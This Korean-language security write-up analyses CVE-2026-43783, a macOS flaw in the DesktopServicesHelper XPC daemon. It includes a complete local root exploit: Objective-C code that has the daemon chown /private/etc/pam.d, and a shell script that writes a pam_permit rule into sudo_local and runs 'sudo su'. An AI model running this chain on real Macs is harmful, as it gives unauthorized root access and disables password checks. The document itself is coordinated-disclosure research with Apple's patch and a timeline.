
CVE-2026-43783에 대한 Proof-of-concept 및 기술 분석 문서로, DesktopServicesHelper XPC를 통한 임의 chown으로 root 권한을 획득하는 macOS 로컬 권한 상승 취약점입니다.
Finder가 iCloud 파일의 권한을 "복구"하는 데 사용하는 데몬이 시스템 디렉터리를 포함한 모든 것의 권한을 복구하려 한다는 사실이 밝혀졌습니다. 이 글에서는 DesktopServicesHelper가 내부적으로 어떻게 작동하는지, 그리고 왜 단일 XPC 요청만으로 루트를 획득할 수 있었는지 살펴봅니다.
저는 com.apple.private.tcc.allow에 kTCCServiceSystemPolicyAllFiles 값을 가진 대상들을 찾고 있었는데, DesktopServicesHelper가 눈에 들어왔습니다. DesktopServicesHelper는 /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper에 위치하며, Finder는 파일 이동, 권한 설정, 휴지통 작업 등 상승된 권한이 필요한 파일 작업에 이를 사용합니다.

바이너리를 IDA에 로드하고 start()로 이동했습니다. 일반적인 타이머와 큐 설정을 지나면 XPC 리스너를 생성합니다 - 데몬의 진입점입니다. 리스너는 특정 이름으로 mach 서비스를 등록하고 들어오는 연결을 수신하기 시작합니다. 이 이름을 아는 모든 프로세스는 연결하여 요청을 보낼 수 있습니다. 핵심 부분은 다음과 같습니다:```c
// get the service name
v16 = (const char *)sub_1000709F4(a1: 0);
// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);
// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);
// start the event loop CFRunLoopRun();
`sub_1000709F4` 함수는 mach 서비스 이름을 반환합니다. `start()`에서 인자 0으로 호출되는데, 이는 데몬이 `com.apple.DesktopServicesHelper`라는 이름으로 등록된다는 의미입니다.```c
const char *__fastcall sub_1000709F4(int a1)
{
if ( a1 != 0 )
return "com.apple.DesktopServicesScriptingHelper";
else
return "com.apple.DesktopServicesHelper";
}
stru_1000B4B48은 데몬이 들어오는 모든 이벤트마다 호출하는 핸들러 블록(콜백)입니다. XPC는 메시지 기반입니다. 클라이언트가 키와 값으로 딕셔너리를 구성해 데몬에 보내면, 데몬이 내용을 파싱해 무엇을 할지 결정합니다. 들어오는 모든 이벤트는 이 핸들러로 전달됩니다. 내부를 살펴보겠습니다.

블록의 invoke 함수는 sub_100032044입니다. 새 연결이 들어오면 데몬은 먼저 클라이언트의 euid와 egid - 유효 사용자 ID와 그룹 ID, 즉 연결하는 프로세스가 실행되는 사용자와 그룹의 식별자 - 를 가져옵니다:```c
euid = xpc_connection_get_euid(connection: v8);
egid = xpc_connection_get_egid(connection: v8);
sub_100071268(a1: euid, a2: egid);
그런 다음 연결에서 수신되는 메시지에 대한 핸들러를 할당합니다:```c
v15[2] = sub_10003AB2C; // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);
sub_10003AB2C - 클라이언트로부터의 실제 XPC 요청이 도착하는 곳입니다. 이제 데몬이 어떤 요청을 실행하고 어떤 요청을 거부할지 어떻게 결정하는지 이해해야 합니다.
sub_10003AB2C는 메인 디스패처입니다. 여기서 데몬은 요청을 어떻게 처리할지 결정합니다. 함수가 크기 때문에 나눠서 살펴보겠습니다.
먼저, 메시지에서 "request" 문자열을 가져옵니다. 이는 클라이언트가 실행하고자 하는 명령 이름입니다:```c
reply = xpc_dictionary_create_reply(original: v12);
string = xpc_dictionary_get_string(xdict: v12, key: "request");
// ...
// logging: "Got Request '%{public}@'"
그런 다음 데몬은 연결하는 프로세스의 감사 토큰을 검색하고 해당 프로세스가 App Sandbox 내에서 실행 중인지 확인합니다. App Sandbox는 파일 시스템, 네트워크 및 기타 리소스에 대한 접근을 제한하는 macOS 애플리케이션 격리 메커니즘입니다. 여기서 분기가 나뉩니다:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
// client is sandboxed - check against allowlist
if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
&& (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
{
sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
}
}
else
{
// client is not sandboxed - check entitlement
*(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
v19 = (const __CFArray *)sub_10003B1E0();
v20 = v19;
if ( v19 == nullptr
|| (v35.length = CFArrayGetCount(theArray: v19),
v35.location = 0,
CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
{
sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
}
}
클라이언트가 샌드박스에 격리된 경우 - 요청 이름이 일곱 개 문자열의 허용 목록과 대조된다. 일치하면 - 검사를 통과하고 요청이 진행된다. 그렇지 않으면 - sub_100034250이 데몬을 종료시킨다.
클라이언트가 샌드박스에 격리되지 않은 경우 - 데몬은 kTCCServiceSystemPolicyAllFiles 값을 가진 com.apple.private.tcc.allow 엔타이틀먼트를 확인한다. 엔타이틀먼트가 없어도 역시 종료된다.
검사를 통과한 후, 요청은 두 개의 핸들러 테이블을 통과한다. 먼저 sub_10002F7C8, 그다음 sub_10002A194:```c
// first table (8 commands, two arguments)
v21 = sub_10002F7C8(a1: buf);
// ...
if ( v21 != 0 )
v22(a1: v12, a2: v11); // found - invoke
// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke
이제 핸들러 테이블을 살펴보겠습니다. 첫 번째 테이블(`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
__int64 v6; // [xsp+28h] [xbp-108h] BYREF
__int64 v7; // [xsp+48h] [xbp-E8h] BYREF
__int64 v8; // [xsp+68h] [xbp-C8h] BYREF
__int64 v9; // [xsp+88h] [xbp-A8h] BYREF
__int64 v10; // [xsp+A8h] [xbp-88h] BYREF
__int64 v11; // [xsp+C8h] [xbp-68h] BYREF
__int64 v12; // [xsp+E8h] [xbp-48h] BYREF
__int64 v13; // [xsp+108h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
&& __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
{
sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
v3 = (void **)&v13;
do
{
v4 = v3;
v3 -= 4;
if ( *((char *)v4 - 9) < 0 )
operator delete(__p: *v3);
}
while ( v3 != (void **)v5 );
__cxa_guard_release(a1: &qword_1000BD8C8);
}
result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
if ( result != 0 )
return *(_QWORD *)(result + 40);
return result;
}
여기서는 별다른 내용이 없다. 여덟 개의 핸들러(OperationSizing, SetChildPermissions, ...)가 있는데, 모두 entitlement 검사로 보호되어 있다.
하지만 두 번째 테이블이 있다 - v27 = sub_10002A194(a1: buf):```c
__int64 __fastcall sub_10002A194(__int64 a1)
{
__int64 result; // x0
void **v3; // x21
void **v4; // x8
_BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF
__int64 v6; // [xsp+28h] [xbp-2A8h] BYREF
__int64 v7; // [xsp+48h] [xbp-288h] BYREF
__int64 v8; // [xsp+68h] [xbp-268h] BYREF
__int64 v9; // [xsp+88h] [xbp-248h] BYREF
__int64 v10; // [xsp+A8h] [xbp-228h] BYREF
__int64 v11; // [xsp+C8h] [xbp-208h] BYREF
__int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF
__int64 v13; // [xsp+108h] [xbp-1C8h] BYREF
__int64 v14; // [xsp+128h] [xbp-1A8h] BYREF
__int64 v15; // [xsp+148h] [xbp-188h] BYREF
__int64 v16; // [xsp+168h] [xbp-168h] BYREF
__int64 v17; // [xsp+188h] [xbp-148h] BYREF
__int64 v18; // [xsp+1A8h] [xbp-128h] BYREF
__int64 v19; // [xsp+1C8h] [xbp-108h] BYREF
__int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF
__int64 v21; // [xsp+208h] [xbp-C8h] BYREF
__int64 v22; // [xsp+228h] [xbp-A8h] BYREF
__int64 v23; // [xsp+248h] [xbp-88h] BYREF
__int64 v24; // [xsp+268h] [xbp-68h] BYREF
__int64 v25; // [xsp+288h] [xbp-48h] BYREF
__int64 v26; // [xsp+2A8h] [xbp-28h] BYREF
if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }
21개의 핸들러가 있습니다. 디스패처는 캐스케이드 방식으로 동작합니다. 먼저 첫 번째 테이블(`sub_10002F7C8`, 8개 명령)에서 요청 이름을 조회합니다. 이들은 XPC 연결과 피어(클라이언트 객체)를 받지만 응답을 반환하지 않는 "fire-and-forget" 작업입니다. 찾지 못하면 두 번째 테이블(`sub_10002A194`, 21개 명령)을 검색합니다. 이들은 응답이 있는 작업으로, 추가로 클라이언트에 결과를 다시 보내기 위한 reply 객체를 받습니다.
거의 모든 명령은 흥미로운 동작을 하지 않거나 entitlement 검사로 보호되어 있습니다. 하지만 열려 있는 명령이 하나 있습니다 - `RepairPermissionsForCloudItems`. 그 핸들러를 찾아봅시다. 어셈블리에서 `sub_10002AA78`이 세 번째 인수로 함수 포인터를 받는 것을 볼 수 있습니다:```asm
__text:000000010002A2AC MOV X2, X16
__text:000000010002A2B0 MOV X0, X20 ; int
__text:000000010002A2B4 BL sub_10002AA78
__text:000000010002A2B8 ADD X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC ADD X20, X21, #0x80
__text:000000010002A2C0 ADRL X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8 ADRL X16, sub_10002D744
__text:000000010002A2D0 PACIZA X16
RepairPermissionsForCloudItems -> sub_10002D744. 샌드박스에서 추가적인 entitlement 없이 접근할 수 있는 유일한 핸들러를 찾았다. 이제 이 핸들러가 수신한 데이터로 실제로 무엇을 하는지 살펴보자.
핸들러 sub_10002D744는 세 가지 작업을 수행한다. 첫째, XPC 메시지에서 "Paths" 키를 추출하고 NSKeyedUnarchiver를 통해 문자열 배열로 역직렬화한다:```c
v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths"));
v9 = objc_claimAutoreleasedReturnValue(
+[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:](
&OBJC_CLASS___NSKeyedUnarchiver,
"unarchivedArrayOfObjectsOfClass:fromData:error:",
objc_opt_class(a1: &OBJC_CLASS___NSString),
v8,
&v25));
그런 다음 각 경로를 `sub_100034B5C`를 통해 `sub_100029CE4`로 전달하여 "repair"가 필요한지 판단합니다. repair가 필요한 경로에 대해서는 `sub_10002A11C`를 호출합니다:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
sub_10002A11C(a1: v5, a2: v22);
경로 검증이 없습니다. 전달된 그대로 처리됩니다. sub_100029CE4 함수는 "repair"가 필요한지 확인합니다. 핵심 로직은 다음과 같습니다:```c
v3 = lstat(a1: v2, a2: &v28);
// ...
if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u )
return false; // not a directory + hardlinks > 1 - skip
v6 = sub_100071288(a1: v4); // get caller's UID
if ( v28.st_uid != v6 )
return true; // owner doesn't match - repair needed
검사 로직:```
lstat(path)
|
+- not a directory && hardlinks > 1 ?
| +- yes -> false (skip)
|
+- st_uid == our UID ?
| +- yes -> false (owner matches, no repair needed)
| +- no -> true (repair needed)
|
+- directory ?
+- yes -> recurse into contents
복구가 필요한 경로에 대해서는 sub_10002A11C가 호출됩니다. 이는 결과들을 순회하면서 각각에 대해 sub_100029440을 호출하는 단순한 루프입니다. 다음은 sub_100029440의 핵심 로직입니다:```c
fd = open(path, 0x200000);
fstat(fd, &st);
// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);
// get caller's UID (ours - 501) caller_uid = sub_100071288();
// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);
close(fd);
// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);
그게 전부입니다. 데몬은 제공된 경로가 `~/Library/Mobile Documents/`나 어떤 iCloud 컨테이너에 있는지 확인하지 않고 해당 경로에 `fchown`을 호출합니다. 그리고 경로가 디렉터리라면, 함수는 그 내용 전체를 재귀적으로 순회하며 모든 항목에 `fchown`을 호출합니다.
다시 읽어보세요. 곱씹어 보세요. 아무 디렉터리나 넘기면 - 그 내용 전체를 소유하게 됩니다.
## 요약
XPC 요청에서 `fchown`까지의 전체 체인:```
Sandboxed app
|
+- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
|
+- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
| "Paths" = ["/private/etc/pam.d"]
|
+- send --> DesktopServicesHelper (root)
|
+- sandbox_check: client sandboxed? -> yes
+- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
+- NSKeyedUnarchiver: extract paths
+- lstat: st_uid != caller_uid? -> yes, repair needed
+- fchown(path, 501, gid) <- arbitrary path, no validation
하나의 XPC 요청 - 그리고 어떤 파일이나 디렉터리든 우리 것이 된다.
이제 디스크 상의 어떤 경로든 임의로 chown할 수 있다. 이제 이것을 root로 승격시키기만 하면 된다.
macOS에서 인증은 PAM을 통해 이루어진다. 설정 파일들은 /private/etc/pam.d/에 있다 - 비밀번호를 검사하는 프로그램마다 하나씩 파일이 있다: sudo, login, su 등. 이 디렉터리는 root:wheel이 소유한다. 따라서 우리의 chown으로 이 디렉터리의 소유권을 가져올 수 있다. 그런 다음에는 /private/etc/pam.d/sudo_local 파일을 다음 한 줄로 자유롭게 생성할 수 있다:```
auth sufficient pam_permit.so
`pam_permit.so`는 항상 성공을 반환하는 PAM 모듈입니다. `sudo`는 메인 설정 전에 `sudo_local`을 확인합니다. 결과: `sudo`가 더 이상 비밀번호를 묻지 않습니다.
하지만 함정이 있습니다. 샌드박스에서 `com.apple.DesktopServicesHelper`에 그냥 연결할 수는 없습니다. 샌드박스는 기본적으로 이 서비스에 대한 mach-lookup을 차단하기 때문입니다. 그러나 데몬 자체는 호출 프로세스가 샌드박스화되었는지 확인하고, 그런 경우에만 엔타이틀먼트 검사 없이 `RepairPermissionsForCloudItems`를 통과시킵니다. 아이러니는 여기에 있습니다. 여기서 샌드박스는 방어가 아니라 통행증입니다.
샌드박스를 통과해 mach-lookup을 수행하려면 `com.apple.security.temporary-exception.mach-lookup.global-name` 엔타이틀먼트가 필요합니다. 다음은 PoC 애플리케이션을 위한 최소 엔타이틀먼트 집합입니다:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
<key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
<array>
<string>com.apple.DesktopServicesHelper</string>
</array>
</dict>
</plist>
두 개의 entitlement.
com.apple.security.app-sandbox - 샌드박스를 활성화합니다(이것이 없으면 데몬이 TCC entitlement를 요구하며 우리를 거부할 것입니다).
com.apple.security.temporary-exception.mach-lookup.global-name - 샌드박스 예외 entitlement입니다.
샌드박스는 모든 mach 서비스에 대한 연결을 허용하지 않으며, com.apple.DesktopServicesHelper는 허용 목록에 없습니다. 이 키는 특정 서비스에 대한 예외를 추가합니다. 그게 우리에게 필요한 전부입니다. 코드는 ViewController.m에 바로 들어갑니다. 핵심 메서드는 chownPath:이며, 이는 데몬에 연결하여 요청을 보냅니다:```objc
(void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);
NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);
xpc_connection_send_message_with_reply_sync(conn, msg); }
`com.apple.DesktopServicesHelper`에 연결하고, `NSKeyedArchiver`를 통해 경로를 `NSArray`로 아카이브한 뒤(데몬이 기대하는 형식대로), 키 `"request"` = `"RepairPermissionsForCloudItems"`로 XPC 딕셔너리를 구성하여 전송합니다.
앱 실행 시, `/private/etc/pam.d`에 대해 `chownPath:`를 호출하고 결과를 확인합니다:```objc
- (void)runExploit
{
[self chownPath:@"/private/etc/pam.d"];
usleep(200000);
struct stat st;
if (lstat("/private/etc/pam.d", &st) != 0) return;
if (st.st_uid == getuid())
NSLog(@"ok");
}
200ms 대기 후 lstat - 소유자가 우리 UID로 변경되었다면 chown이 성공한 것입니다.
이제 모든 것을 종합해 봅시다. 셸 스크립트는 PoC 애플리케이션을 실행하고, 데몬이 작업을 수행할 때까지 기다린 다음, chown이 성공했는지 확인하고, PAM 규칙을 작성한 후 root 권한을 획득합니다:```sh
#!/bin/sh
set -e
PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"
./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true
if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi
echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"
sudo id sudo su
## Apple의 패치
Apple은 `RepairPermissionsForCloudItems` 핸들러의 맨 처음에 엔타이틀먼트 검사를 추가했습니다:```c
if ( (sub_100034110(a1: v5,
a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}
이제 com.apple.private.desktopservices.cloud-repair-perm private entitlement을 가진 프로세스만 RepairPermissionsForCloudItems를 호출할 수 있습니다. 이것이 없으면 sub_100034250이 데몬을 종료시킵니다. 함수의 나머지 로직은 변경되지 않았습니다.
| 날짜 | 이벤트 |
|---|---|
| 2026/05/09 | Apple Product Security에 보고서 제출 |
| 2026/05/11 | Apple이 보고서를 검토로 이동 |
| 2026/05/13 | Apple이 버그를 재현하고 가을에 수정 일정 예약 |
읽어주셔서 감사합니다, 즐거운 버그 헌팅 되세요!
| 2026/05/26 | macOS 26.6 beta 1에 패치 적용 |
| 2026/08/11 | CVE-2026-43783 할당 |